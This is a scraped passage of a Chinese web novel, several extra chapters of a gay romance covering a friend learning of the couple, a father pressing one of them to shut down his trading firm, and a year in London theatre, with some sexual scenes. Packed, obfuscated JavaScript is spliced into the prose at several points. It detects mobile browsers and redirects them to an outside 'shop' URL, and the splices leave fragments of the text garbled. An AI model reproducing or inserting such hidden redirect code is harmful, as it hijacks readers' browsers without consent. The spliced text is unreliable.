话到一半,他迅速刹车,硬生生改口:“……纯情啊。” “蠢货凑一对”这种话,他是不敢说的。更别提他们是一对蠢货,而自己在旁边围观了这么久,愣是半点没发现。自己算什么,那就更不好讲了。 迟铎对“纯情”这个评价倒是颇为认可。周淮翻了个白眼,也没敢继续犯贱。他想了想,神情收敛了点,正色问道:“还有谁知道?” “你说呢?” 周淮一愣,随即受宠若惊,还有点莫名的感动。说实话,自从裴与驰空降之后,他在迟铎那儿的地位确实是一落千丈。嘴上当然一直说着“兄弟越多越好,友情就是要分享”,但好歹也是从小一起玩泥巴长大的发小,心里难免会计较。 结果现在才发现,问题根本不在这儿,裴与驰压根不是兄弟。 是姐夫? 妹夫? 兄弟老公。 ……行吧。 这一层关系一想通,周淮瞬间就舒坦了。那能比吗?根本不是同一赛道的。 既然兄弟这么信任他,把这么大的事交代出来,他也不能辜负。周淮点了点头,语气前所未有的郑重:“我懂。” “我不会说的。” 下一秒,他忽然又开始扭捏起来,表情里带着点不合时宜的羞涩。 “兄弟,”他压低声音,还有点不好意思,“那我……还是你最铁的那个吧?” 迟铎:“?” 他还没来得及理清这个问题的逻辑,嘴已经先一步给出了答案。 “不好意思,”迟铎语气平静,“我男朋友,也是我最好的朋友,谢谢。” 话音刚落。男朋友兼最好的朋友,就刚好从房间里出来。不早不晚,恰好把这句抑扬顿挫、情感饱满的深情告白,听了个完整。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035864|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 迟铎:“……” 他看了眼站在门口的裴与驰,又看了眼一脸受伤的周淮,脑子里只剩下一个念头,这家伙,到底是故意的,还是他单纯运气差到这种程度? 也不知道是听到了这句真情告白,还是大客户那边合同已经敲定,又或者两者兼而有之,裴与驰从房间里出来时,心情挺不错的。 周淮看到自己兄弟……的老公,心情一时间有点复杂。他很识相地没再继续追问。那句已经在嘴边转了好几圈的“你们家里能行吗?”最终还是没问出口。有些话,一旦问出来,就不再只是兄弟间的八卦了。有些事,还不到他说的时候。 周淮浑浑噩噩地随便说了几句,又浑浑噩噩地飘回了沙丁鱼群。 门关上,房间重新安静下来。 迟铎在门口站了一会儿,忽然开口:“周淮知道了,我说的。” 裴与驰应了一声:“嗯。” 语气很平稳,没有任何意外,也没有多余的情绪,像是听到了一句再日常不过的话。 迟铎转过头,盯着他的脸,试图从那点过于冷静的表情里找出哪怕一丝波动:“你不怕吧?”他说完又补了一句,表明自己的立场:“我反正不怕。” 裴与驰看了他一眼,脸上没什么表情,眼神却带着点不易察觉的笑意:“怕什么?” 迟铎一噎。当然是怕家里、怕以后,怕这段关系被摊到阳光底下之后,不被承认,被阻挠,被消磨。这些词在脑子里排了队,却一个都没说出口。 裴与驰却像是已经知道答案了,走过来,很自然地牵起他的手。“真到了要怕的时候,”他说得很平静,“也轮不到你一个人。” 迟铎看着他,忽然觉得心里那点不确定,那些关于“万一对方在压力面前会不会退缩”的担心,在这一瞬间,全都消失了。 他别开脸,还是有点嘴硬:“……说得好像你很有经验一样。” 裴与驰低声笑了一下,没有反驳,只是把手牵得更紧了一点, “经验没有。”他顿了顿,语气依旧平静,却比刚才更确定,“但我很确定,我只要你。” “结局也只会是你。” 迟铎:“……” 裴与驰这段时间难道都没睡觉?趁他睡着的时候,一边看凰片,一边补爱情片,两片都要抓? 这话,也太犯规了。 另边,沙丁鱼们早就等不及了。 问题一个接一个砸过来,周淮却心乱如麻,答得驴唇不对马嘴。几轮下来,总体效果只有一个,鱼们问地,他答天。东拉西扯了半天,不仅没给出任何有效信息,还成功把鱼们全部绕晕了。那群粗线条的沙丁鱼对视了几眼,很快就自行得出了一个非常符合他们认知体系的结论:周淮这是被一对二轮番吊打,啥实质性内容都没问出来,还不好意思跟大家讲。 于是,拷问自动终止。有人拍了拍他的肩,一脸理解:“行了行了,尽力了就行。” 还有人安慰:“换我我也问不出来。”更看得开的已经当场翻篇:“管他们昨天干啥,今天我们干啥啊?” 周淮:“……” 他张了张嘴,最终还是把那句“你们根本不知道我刚刚经历了什么”吞了回去。 算了。 这群人,能活到现在,也挺不容易的。 接下来的行程里,沙丁鱼群和小情侣都过得相当快乐。 在周淮的有意无意掩护下,两个人基本把之前预订的项目都体验了一遍,跳伞、spa、桑拿、餐厅,一个不落,二人世界也算被完整保住。对外看起来,不过是两位连体婴,总能在恰到好处的时候消失一会儿。 唯一不太快乐的,只有周淮本人。 他白天要负责挡刀、转移视线、替人圆话;晚上还得躲进自己的小被里,分阶段消化现实:先消化兄弟弯了;再消化兄弟弯了还找了对象;最后消化对象是裴与驰这件事。消化到一半,常常还会有物理刺激强行加入,比如突然被一条大长腿砸到身上,或者莫名其妙被人从背后勾住脖子。 他一开始觉得没什么,都是兄弟,太正常。可问题在于,那两位在外人面前看起来直得不能再直,现在柜门一飞,周淮越想越觉得不对劲。这群沙丁鱼里,谁要是下一个踢或者被踢柜门,他都不会太惊讶。 真正让他头疼的是,要是再来一次,他是不是还得重新复盘:这位兄弟以前有没有对我有意思过?想到这里,周淮果断决定:与其被动触发,不如主动预判。于是,在接下来的这一周里,他把剩下的七个人,一个不落地仔细复盘了一遍。 提前排雷,以防万一。 就,普信男的生活,也挺充实忙碌的。 回程的最后一天,行程终于光明正大地分开。 沙丁鱼群浩浩荡荡去购物。这边的东西又齐又全,价格也比英国友好得多,买到后半段已经不再讲究逻辑,行李箱是谁的不重要,能塞进去的就是自己的。 而裴与驰和迟铎,去了热气球。 清晨的风很平静,像是刻意不想给这对爱侣增加哪怕一点多余的惊险。热气球缓慢升起,地面一点点退远,雪场、松林、屋顶被压缩成了小点。周围变得很安静,只剩下燃烧器偶尔的一声回响,和两人心跳的声音。 高度刚刚好。 不需要谁先开口,也没有提前约定的仪式感。裴与驰伸手,把迟铎拉近,只是一个很自然的、温柔的吻。风是冷的,唇却是暖的,时间在这一刻变得很慢。 迟铎退开半步,像是忽然想起什么,从口袋里掏出手机。 “别动。” 裴与驰没问原因,只是站在原地看着他。下一秒,迟铎踮起脚,再一次吻了上来。 快门轻响。 这一刻被留了下来,背景是清晨的雪山和云海,前景是他们交叠的影子,和贴得很近的轮廓。 迟铎低头看了一眼照片,很满意。收起手机时,语气轻得像是在自言自语:“完美。” 裴与驰笑了一下:“你说照片?” “当然是我自己。” 还有你。 热气球继续向上,他们牵着手,享受着只属于他们的时间。 59.如果当时(10)[番外] “我不会退学回国。” 裴与驰把话说得很清楚,语气不重,却已经没有商量余地。 电话那头明显停顿了一下。 “那你本科读完,立刻回来。” “现在,把你在外面的事情全部收尾,公司关掉。” 不是商量,也不是命令,更像是在陈述一条默认会被执行的安排。 裴与驰没有立刻反驳,也没有正面顶回去,他很清楚,这不是对方情绪化的决定,更不是临时起意。 “这不符合我未来的规划。” 电话那头安静了下来。这种安静并不代表退让,反而带着一种更熟悉、更居高临下的压迫感。 “你知道这会带来什么影响吗?” 裴与驰当然知道。 “报纸写得还不够多?” “还是你觉得,现在这个程度的关注,也算不上什么风头?” 语气始终平稳,没有提高音量,却精准地落在现实层面。 “你已经证明过你的能力了。这一点,我也承认过。” 这不是让步,而是把个人能力这一项,直接从讨论里剔除。 “现在,可以停了。” 话说得不痛不痒,连重音都没有,却把裴与驰这两年来所有的判断、投入,压缩成一段可以被收尾的阶段性结果,而不是一份可以继续的事业,更不是未来的方向。只是儿子在合适的年纪,小打小闹过一阵之后,理应被收回的东西。 “现在是特殊时期。” 电话那头的声音低了下来,在涉及到自己的事业时,语气里终于出现了一点起伏。 “理解一下。” 就这么一句,语气很轻,几乎像是随口一提,不是解释,也不是请求,更像是在陈述一条无需再被反复确认的共识。 血缘给了裴与驰现在所拥有的一切,同样的,也意味着在必要的时候,他理应为这个身份让路。 裴谦之从不否认儿子的天赋。相反,他一直很清楚裴与驰的能力,也欣赏他的野心。正因为清楚,他才更笃定,在这个时间点,那份野心必须被暂时收起,为他即将走到的那个位置,让出空间。在这一步之前,所有可能被放大的变量,都不该存在,包括儿子正在做的事。 裴与驰终于开口了,情绪听不出太大起伏,但出口的却并不是裴谦之预期中的答案。 “我理解你的意思,也明白你现在的判断。” “但我不会在这个节点停,不会因为一篇似是而非的报道,就立刻全部切割” 这不是反驳,也不是赌气,是结论。 电话那头沉默了一瞬,“你在外面做的事情,用的不是一个完全独立的身份。” 裴谦之的声音恢复了惯常的冷静,“这一点,你很清楚。” 裴与驰当然清楚,也正因为清楚,他才自信一切都无懈可击。 “所以我才一直控制规模,没有扩张,也没有越线。所有流程,都在合法框架里。” 他说的不是辩解,而是事实。 “如果现在关掉——”他停了一下,语气依旧克制,“那就不是控制风险。” “而是默认。” 电话那头没有再继续这个话题,没有评价,也没有反驳。 只留下最后一句:“你自己想清楚。” 通话结束。 电话挂断后,房间里重新安静下来。裴与驰没有立刻动作,他站在办公室的玻璃前,看着倒映出来的影子。灯还亮着,屏幕没有关,桌上的文件停在刚刚翻开的那一页。 下一秒, “砰。” 杯子落地的声音,在空荡的房间里显得格外清晰。 而与此同时,迟铎在图书馆。 课后的小组作业刚进行到一半,几个人围着一张长桌,各自摊着电脑和打印出来的资料,压着声音讨论进度。他负责的那一部分刚好改完,手机就在这时在桌面上震了一下。 他低头扫了一眼,是周淮。 周淮:【那啥,你家那口子上新闻了。】 迟铎指尖顿了顿,下一条消息很快跟了上来。 【我们教授不是让我们每天看这些周刊吗,正好看到了。】 周淮很少这么绕着说话。 迟铎没回,点进了对方甩过来的链接。标题映入眼帘的那一瞬间,他眉头不受控制地跳了一下——《Wall Street Backs a Rising Trading Star With Deep Ties to Chxxx》。 他盯着那行字看了两秒,然后往下滑。导语很短也很中性:年轻的独立交易团队,以极小规模跑出稳定记录,在同期pod中表现突出,被多家机构持续跟踪。可见范围内,并没有展开标题后半句相关内容 再往下就需要订阅阅读全文。 迟铎手没停,干脆点了订阅。信用卡信息确认成功的提示跳出来时,他才意识到自己呼吸有点快。 图书馆里依旧安静。纸张翻动的声音、键盘敲击声,还有同学压低声音讨论的英语混在一起,一切看起来都再正常不过。 屏幕亮着,全文铺开。这个标题,这个时间点,迟铎忽然意识到,半年前他们亲吻着庆祝的那个公司,裴与驰为之倾注一切的事业,好像已经不在他们的掌控之中了。 手机又震了一下。 周淮绕了一圈,最后还是没忍住,发来那句:【不会影响他爸吗。】 迟铎没回。他把全文仔细看完,顺手点开置顶的对话框,聊天记录还停留在今天中午裴与驰发来的那张meme。他看了一眼,又把手机扣在桌上。 作业已经改好,他把文件发给组员,简单交代了一句,收拾东西起身离开。走出图书馆的时候,他一边往外走,一边拨通了电话。 无人接听。 叫车的时候,他停了一下,本来选好的家的地址被他删掉,重新输入了裴与驰公司的位置。车很快到了楼下,已经快十一点了。写字楼依旧灯火通明,衣装革履、背着双肩包的人陆续下班,还有人端着咖啡,脚步匆匆地往楼里赶。 迟铎脚步没停,刷了门禁卡,直接进了电梯。公司这一层已经很安静了,其他工位都空着,只有里面那间办公室还亮着灯。很明显,裴与驰已经知道了那篇报道。更可能的是,他已经收到了反馈——来自父母的。否则不会到现在,一个消息也没有。 迟铎在门外停下脚步。 他忽然意识到,自己并不知道进去之后该说什么。安慰他说这是别有用心?说这是他父亲竞争对手的手段,他只是被波及?这些话在脑子里过了一圈,却都显得太轻,也太迟。 最后浮现出来的,反而是很早之前的画面。 那天夜里,正好是圣诞节,公司还没开始运转,他们两个像做贼一样溜进来。灯没开,很幼稚地买了个蛋糕,在空荡的办公室里点了数字8的蜡烛,许愿发发发。等他们贴在一起的时候,差点把当夜值班、喝了不少蛋奶酒的保安吓得不轻——对方还以为,自己刚念叨过的逝去的家人,真的在这个节日回魂来找他了。 迟铎站在门口,没有立刻进去。 下一秒,他听见鞋底踩在玻璃渣上的声音。 他推开门,看见裴与驰正蹲在地上捡碎掉的玻璃,动作很随意。左手的血顺着指尖往下淌,他却像是没意识到,又像是根本不在意。迟铎直接冲了过去,指责的话还没来得及出口,人已经先一步蹲下,一把扣住他的手腕。 “你……” “疯了吗”那三个字在嘴里转了一圈,没能出口,最后只剩下:“别捡了。” 裴与驰被他拉得一顿,看了他一眼,像是这才反应过来有人进来,眉眼里却没什么情绪,只是下意识想把手抽回去。 “没事。” 他说得很轻,像是在安抚迟铎,又像是在对别的事情做出回应。 迟铎没松手,把他那只还在滴血的手按住,拉着他走到办公桌旁坐下。他抽了几张纸巾,低头去看左手上的伤口,玻璃碎屑嵌得不深,却零零散散。他一粒一粒地捻出来,动作放得很慢。 裴与驰始终没再说话,也没有催他,只是任由他处理。 那一刻,迟铎忽然明白了,如果事情还有转圜的余地,裴与驰不会是现在这个样子。 血却还在往下滴,落在地上。迟铎看着血,忽然想起自己在来的路上反复想过的那些话,该怎么不经意地问一句,该怎么轻一点地关心,又不显得多余。 现在却一句也想不起来了,那些准备好的语气、措辞,全都用不上。 他只是站在那里,握着裴与驰的手,一时间不知道还能说什么。胸口闷得厉害,那种情绪说不上来,只能压着。 “我没事。”裴与驰说。 这一次的语气却和刚才那句轻飘飘的“没事”不一样了。他显然已经回过神来,终于意识到站在他面前的是谁,也看清了迟铎的表情。那表情太明显了,明显到让人一眼就能看出来,现在更需要被安慰的,反而不是他自己。 迟铎听见这句话,却没接话,也没抬头。他继续低着头检查伤口,血在纸巾上慢慢洇开。 “boots关门了。” 他突然说,又固执地把纸巾折紧了一点,像是这样血就能止住。 “有Tesco。” 裴与驰接得很快,语气已经恢复了平常的轻松,还顺手抬了抬下巴:“去不去,小护士?” “不行的话,还有Bangladesh朋友们。” 话音刚落,他已经行动起来,用完好的右手拉过迟铎往外走,根本不给人反应的时间。左手上的纸巾滑落了,他也没管,一边走一边理直气壮地指挥:“外套,帮我拿上。” “走吧,出诊。” 他说完这句,又补了一句:“明天会有人打扫。” 电梯下落的时候,两个人都没说话,却一直牵着手,温度顺着掌心慢慢传过来。 到了门口,裴与驰还是拗不过迟铎,被按着把外套穿上了。迟铎一边动作一边强调,说不然会着凉。结果左手的血很快蹭到了衣料上,深一块浅一块,把那件外套染得乱七八糟,算是彻底报废了。 迟铎低头看了两眼,顿了顿,伸手摸了摸鼻子。 “……挺有艺术感的。” “再这样下去,”裴与驰扫了一眼,“万一哪天关了公司,可能真买不起了。” 他说这话的时候语气很轻松,像是在开一个并不怎么认真的玩笑,和刚才满手是血、心不在焉的样子完全不一样。 “我养你。” 迟铎接得很快,像是这句话早就在心里过了一遍又一遍,只是一直没找到合适的时机说出口。话一出口,他自己也怔了一下,却没有后悔的意思。 “不是……”他停了一下,像是在确认措辞,语气慢了下来,“不是那种,我是说,先这样。” 他试着把话说得更圆滑一些,也想把心里那些早就想过、却一直没敢说出口的东西慢慢摊开。 “你不管做什么,都会成功的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051546|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “只是如果真的要停一阵子,你可能会难受。” “那段时间,我可以顶着。等你想清楚,再走下一步。” 这不是只针对他们还在上学的这段时间,迟铎给出的,是一段很长的时间,长到工作之后和未来。 裴与驰听完,沉默了两秒,忽然笑了一下。 “你怎么就这么相信我?” 他语气依旧轻松,像是在随口调侃:“就不怕我之后酗酒?整天在家躺着,什么都不干?” 迟铎看了他一眼。 “我爸就是这样。”他说,“酗酒,什么都不干。” 裴与驰侧过头,等他往下说。 “我妈还是挺爱他的。” 像是早就想过并且完全接受这个可能。 “但你不一样。” 迟铎顿了顿,又补了一句,语气很笃定。 “你就算真天天喝酒,也不会只喝。你会折腾点别的。” “反正你做什么,都会做成。” 还是这句无条件相信裴与驰的结尾。 裴与驰:“……” 裴与驰没立刻接话,他低头笑了一下,伸手在迟铎额头上弹了一下。 “你放心,我不会酗酒,公司也不会关。” 他说这句话的时候情绪很稳定,甚至带着点轻松。 “这个pod shop每一步我都走得很合规,没什么把柄。最多就是他身边有点蚊子,嗡嗡地烦而已。” “我对他那套不感兴趣,也不打算再给他证明什么。” 他停了一下,又补了一句:“至少今晚之后不会了。” “为什么?”迟铎忍不住问。 裴与驰看了他一眼,笑意终于落下来一点。 “因为有个半吊子的小护士,”他说,“工作做到一半,突然要包养我,还发表无条件信我怎么都能成功的演讲,不停给我自信。” 说完,他还特意晃了晃那只还在渗血的左手,示意这位护士把本职业务抛到了一边。果不其然,小护士一看血还在往外冒,立刻急了,话也不让人说完,拽着他就往前走,直接中止了这场对话。 十二点零一分,Tesco Express已经拉下了卷帘。两个人在门口站了两秒,对视一眼,什么都没说,又默契地转身,去找万能的三兄弟。再回来时,手里多了纱布、消毒水,还有几张创口贴。他们低头看着那堆东西,一时间都有点沉默。 “怎么说?”裴与驰先开口。 消毒水和药膏看着还行,纱布却像是从什么不太干净的地方翻出来的,创口贴的外包装上也落了一层灰。 迟铎盯着看了几秒,心里已经开始认真考虑使用了这些后,破伤风的可能性。 “要不,”裴与驰一本正经地提议,“你给我舔一下,隔绝下外界环境?” 迟铎:“……” 他随手拿纸擦了几下灰,开始拆包装。 算了。 还是让他去打破伤风吧。 吐槽归吐槽,一回到家迟铎还是第一时间把人按到沙发上,把那些疑似来路不明的创可贴和纱布全卸了,重新换上家里没拆封的干净的。动作很利落,一点商量余地都不给。换完他就开始催人去洗澡。 水声响了一会儿,没多久又停了。 “手沾水了。”声音隔着门传出来,带着点不耐烦,又像是故意的,“真的疼。” 迟铎几乎没多想,顺手拉开门就往里冲,下一秒,人就被按在了门板上。 后背撞上去的声音不重,却很近。水汽一下子漫上来,裴与驰站在他面前,头发还在滴水,手却稳稳地撑在他身侧,把人困在那一小块空间里。 “这么着急吗?”他说这话的时候语气很低,带着点笑意。 迟铎这才反应过来他在玩什么双关,忍不住翻了个白眼。 “怎么没伤到你关键部位。”语气一点都不客气。 裴与驰愣了一下,随即笑开:“那你不得哭一晚上?” 迟铎盯着他看了两秒,确认那点笑意是真的落下来了,不是硬撑,也不是掩饰,心里这才慢慢松了一口气。 只是他没意识到,自己在看人的时候,对方也在看他。下一秒,脚下一空,他被人一把抱了起来。迟铎下意识伸手去抓,手刚搭上肩,就被更稳地托住了。 “硬了” 裴与驰贴心的给了原因。 迟铎:“……”那句“小心你的手”被这直白粗暴的发言堵了回去。 “你现在这个表情,”裴与驰贴得很近,说话的声音低得几乎贴着耳侧,“比刚才在办公室还不自觉。” 仰着头,小心翼翼,满眼里都只有他。 迟铎一僵。 那句话没说完,对方已经把他往门板上一带,力道控制得很好,不疼,却退无可退。 “你刚才那副样子,”裴与驰笑了一下,语气很轻,却明显不是在开玩笑,“我一路都没忘。” 要哭不哭,可怜兮兮的,很适合被按在窗边。 迟铎张了张嘴,原本想说什么,却忽然想起裴与驰中午发来的那张meme:一张写着free kiss的兑换券,期限是永久。 他最后什么也没说。只是伸手勾住了裴与驰的脖子,低头去兑现那张礼品券。 那道口子其实很浅。血流得凶,只是因为位置不太巧。但有人担心的不行,所以全程极其配合,就……裴少真的玩的很爽。 第二天再看,不仔细找,几乎已经看不出来了。 60.如果当时(11)[番外] 那天之后,裴与驰飞回去了一趟。回来时,什么都没变,又好像什么都已经不一样了。 日子照旧往前走。 裴与驰越来越忙,忙到把经济学的教授都薅来公司,顺手兼了投资组合经理。迟铎这边则申请了placement year,开启了平面模特生涯。他之前一如既往给Samuel当fitting model,有时Samuel的同学也会找他帮忙。被拍得多了,某次给他们拍的一组照片效果不错,被机构看中,主动联系他,问要不要试着签约拍平面。 Samuel当然是鼓励的,说他早就该试试这条路。 裴与驰那边也给出了客观评价:“不错。”停了停,又补充一句:“不枉费你捡垃圾这么多年。” 迟铎:“……” “你颓废得很成功。”裴与驰把迟铎这些年硬拉着他逛古着集市捡破烂的努力,做了一个相当到位的总结。 迟铎当场就炸了。他咬着牙把人压到床上,名义上是挠痒痒,实则泄愤。裴与驰没挣开,顺势躺下,反手按住他的肩,翻身把局面重新夺了回来。 床垫轻轻一震。 裴与驰低头在他唇角亲了一下,又刻意拉开一点距离,看着他,眼神很温柔,语调也很轻:“宝宝真棒。” 迟铎喘了口气,没说话,只抬手扣住他的后颈,把人重新拉了下来。 在之后的一次平面拍摄中,迟铎意外得到了一个运动品牌的广告试镜机会。广告的创意很简单,展示伦敦,展示这座城市本身的多样性。参与拍摄的人来自世界各地,肤色、语言、背景各不相同,唯一的共同点,是因为各种机缘巧合,最终停留在了伦敦。 试镜那天,他认识了Naomi。一个来自非洲的女生,有着白化病。脸和皮肤上分布着不均匀的色块,在镜头前却毫不遮掩,大方又阳光,活力十足,让人不自觉地注意到她。 Naomi是LAMDA的学生,主攻音乐剧。拍摄间隙,她一边拉伸一边和人聊天,语气轻快又热情。迟铎在拍摄过程中话不多,也不太主动,很快就被她注意到了。Naomi以为他有些紧张,还没完全融入,便自然地走过来和他聊了几句,问他是哪个学校的,又笑着补了一句:“这么酷,是不是伦艺的?” 迟铎摇头,说自己不是艺术类院校的,只是误打误撞到了这里。 Naomi笑了笑,热情不减,也没觉得失望,顺势介绍了自己的专业和在学的内容。 分别前,她留下了联系方式,又邀请他去看一场他们学校的演出。 学生音乐剧的布景简陋,舞台不大,灯光和音响效果算不上顶级,但演员一走上来,整个气氛就变了。他们的口音不同,肤色不同,经历也不同,但站在台上,一开口,一动作,就自然的让观众进入到他们演的角色里,随着他们的表演而情绪起伏。 迟铎坐在观众席里,很安静。灯光暗下去的时候,他并没有刻意集中注意力,却很快沉浸其中。等到灯光再次亮起,他才意识到自己几乎没动过。 演出结束后,他抱着一束花去了后台。 Naomi脸上的妆还没卸,见到他,她明显愣了一下,随即笑得很开心,走过来大方地抱了他一下,又拉着他,把他介绍给后台的同伴们。就这样,迟铎很自然地认识了一群学音乐剧的朋友。他们说话直接,情绪外放,讨论起排练和舞台时滔滔不绝。迟铎听得多,说得少,却在来来往往中,对表演这件事有了越来越具体的认知。 实习的这一年,工作并不算忙,有时候裴与驰忙得顾不上他,Naomi就拉着迟铎去看各种奇奇怪怪的演出——小剧场、木偶剧,甚至临时搭起来的实验舞台。有时她还会拉他去帮忙搭布景、递道具,一来二去,迟铎对舞台背后的一切越来越熟悉。 不过最尴尬的一次,是Naomi没提前打招呼,直接把他和裴与驰拖去了沉浸式戏剧。她还特意给他写了一条故事线,却完全没告诉他。剧情进行到一半,Naomi突然倒在他面前,姿态夸张,表情极其投入,明显是在等他接戏。 迟铎:“……” 他还没来得及反应,Naomi已经摆出一副你不配合我就躺到天亮的架势。而裴与驰很没义气地早早退到了安全距离之外,生怕被波及,甚至很体贴地抬了抬手,朝他示意,到你了。 迟铎没办法,只能硬着头皮,顺着现场的节奏把戏接了下去。台词不算完整,动作也有些生涩,却并不突兀。 想读表演硕士这件事,并不是某个瞬间突然冒出来的念头。是在这一年里,和Naomi一次次相处、一次次被拉进各种小演出里,自然而然发生的。 他把这个想法告诉Naomi时,并没有铺垫太多。Naomi听完,反应也很直接。第二天就把他带去蹭了一些大课。大课人多,节奏快,老师讲得也不算温柔。迟铎坐在后排,听不完全,却听得很认真。 某天夜课结束时,已经很晚了,裴与驰还在公司。迟铎去学校门口买了kebab,顺手拎了几瓶可乐,往裴与驰的公司赶。 公司灯还亮着,只剩Leo在陪老板挑灯夜战。 迟铎跟他打了个招呼,把可乐和kebab递过去。 “辛苦了。” Leo笑着接过:“谢谢。” 迟铎这才往里面走。 “叫你不要乱吃东西。”裴与驰头都没抬,正低头整理一份预备要进来的大额账户的尽调报告。 “这个很好吃的好吗?”迟铎不以为意,“至少比炸鱼薯条好吃。” 他说完,顺手拆开纸袋,咬了一口,懒得理这位少爷做派十足、完全不懂民间美□□髓的三代。等他吃到手上全是油的时候,直接把一罐可乐扔进裴与驰怀里,理直气壮地指挥:“帮我打开。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这可不是对良好市民的态度。”裴与驰慢条斯理地说。 迟铎闷哼了一声,眉头皱起,仰着头看他。嘴上依旧不肯服软,可眼神里的示弱却藏都藏不住,连呼吸都乱了节奏。 裴与驰显然很满意。他终于大发慈悲地停了一下,给了对方一点喘息的空间,附身靠近时,指尖轻轻碰了下,又很快收回。 “警花小姐,”他低声道,“真的很嘴硬。” 语气里带着不加掩饰的调侃,顺带伸手过去给警花小姐展示湿淋淋的成果。 下一秒,他收敛了所有表情,站直身体,低头看他。灯光下,整个人忽然冷了下来,危险得毫不掩饰。 “求我。”语气很冷淡,也没有任何商量的余地。 迟铎沉默了几秒,所有反驳、逞强、骂人的话,在这一刻都再也想不起来。。 “……求你。” 声音很低,却很清晰。 裴与驰看着他,忽然笑了。 所有反抗、嘴硬和不服气,在这一刻全被压缩成一句: ……挺帅的。 猫鼠游戏结束,胜负已定。 警花小姐确认沦陷,并对结果表示心甘情愿。 61.如果当时(12)[番外] 迟了了和林苹苹在迟铎大二那年,去了一趟法国看酒庄、品酒。 珍妮的玫瑰产量一向很少,刚好最近出了一批。两人在朋友的带领下进了酒窖,端起杯子,花香先出来,接着是李子、芒果的甜香,层层叠叠。入口气泡感很弱,别有风味。林苹苹很喜欢,慢慢地品着,迟了了只抿了一口,眉头就皱了起来。 “这酒,”他说,“后劲不小。” 林苹苹斜他一眼:“你说香槟?” “我说的是风格。”迟了了神情严肃,“年轻人喝多了,容易乱来。” 林苹苹没接话。迟了了等了两秒,见老婆明显不打算配合自己拐弯,只好放下酒杯,清了清嗓子,直接进入正题:“我想顺路去看看不孝子。” 迟铎上了大学之后,基本就跟撒手没一样,没怎么回过国。消息回得慢,视频通话永远推说在忙。寒假说要去滑雪,迟了了一拉信用卡账单:一堆高级餐厅的订位,SPA项目排得明明白白。 迟了了当场就不信了。 他太了解迟铎和周淮这群崽子了。他们滑会儿雪,顶多回酒店打游戏,谁有耐心中午爬起来吃米其林的午市套餐,还定点去做 spa? 十有八九,是谈恋爱了。而且八成是个美丽的小女朋友,把迟铎迷得神魂颠倒,生活品质直接起飞。 “我不是反对他谈恋爱。”迟了了先行表态,态度很端正,“但他现在明显被迷得不着家了,我得亲自去看看。” 林苹苹:“看看什么?” “看看是不是被人牵着鼻子走。”迟了了冷哼一声,“要是真合适,我不介意多给点。年轻女孩子,不能亏待。” 林苹苹点头:“你还挺周到。”周到的狗拿耗子。 迟了了没听出这话里有什么不对,还觉得自己这个父亲当得相当有格局,相当贴心。计划很快被迟了了单方面敲定:他俩装作随意路过,吓一吓儿子,顺便看人。 那天傍晚,他一边装作若无其事地和迟铎发消息闲聊,一边和林苹苹在儿子公寓楼下蹲守。迟铎回信息说马上回家。迟了了在心里冷笑了一声,现在的小孩,说谎都不打草稿。结果没过多久,人真的回来了。只是回来的不是一对小情侣,而是迟铎,和裴与驰。 迟了了第一反应是愣住。 没有小女朋友,有点失望。 两人并肩走着,神态自然。迟铎状态看起来很好,比在家时松弛,却不散漫;裴与驰就更不用说了,从小到大,迟了了夸他的口水都快夸干了,夸到恨不得这孩子是自己亲生的。 迟了了看着这一幕,心里先是松了口气,紧接着迅速开始反思自己。儿子能和这么优秀的同龄人走在一起,步调一致,看着就上进,搞不好是在创业,或者刻苦学习,闲下来才吃好点、享受一下,奖励自己。而自己刚才居然把这么难得、这么优秀的男人们的情谊,往花天酒地上想,实在是思想狭隘,跟不上时代,跟不上优秀的年轻人。 再仔细一想,裴与驰本来消费水平就高,迟铎能和这样的人做朋友,接触的自然都是有品味的东西。 涨。 生活费立马涨。 就在他下定决心要当一个及时纠错、痛定思痛的好父亲时,前方两人停下了脚步。 红绿灯。 迟了了精神一振,顽童心态大起,拉住林苹苹压低声音:“等会儿他们过来,我们突然出现,吓吓小伙子们。” 结果还没等他们走近,就在红灯亮着的时候,迟铎很自然地偏过头,在裴与驰的右脸上亲了一下,动作很短,行云流水,一气呵成。被亲的那个反应也不大,双方都显得十分习以为常。 迟了了:“?” 他的大脑当场一片空白。 这对吗? 他们是不是去法国滑完雪,顺便爱上了法国文化? 还是现在男孩子之间……已经发展到这种程度了? 林苹苹:“……” 她没说话,只是若有所思地看着前方。 迟了了把刚才冒出来的几套解释在脑子里来回推演了一遍,发现怎么都对不上,当场有点绷不住。 到底咋回事? 他转头,小声问:“这对吗?” 林苹苹没立刻回答。 迟了了只好自行修正:“我没戴眼镜,看错了估计。迟铎矮点,可能是凑过去跟裴与驰讲什么话。” 林苹苹终于开口,语气平静:“好兄弟打闹吧。” 迟了了立刻点头:“对,我也是这么想的。” 点完头,他自己又沉默了。 不太对,但又说不出哪里不对。 林苹苹看了他一眼,伸手拉住他的手,语气温柔地哄着:“别急,假动作而已。就是你儿子想故意恶心对方,闹着玩的。” 迟了了张了张嘴,想反驳,又不想反驳,最后还是勉强接受了这个说法。 两人过完马路,他下意识拉着林苹苹往旁边一躲,生怕被儿子看见。于是人也没见上,招呼也没打。 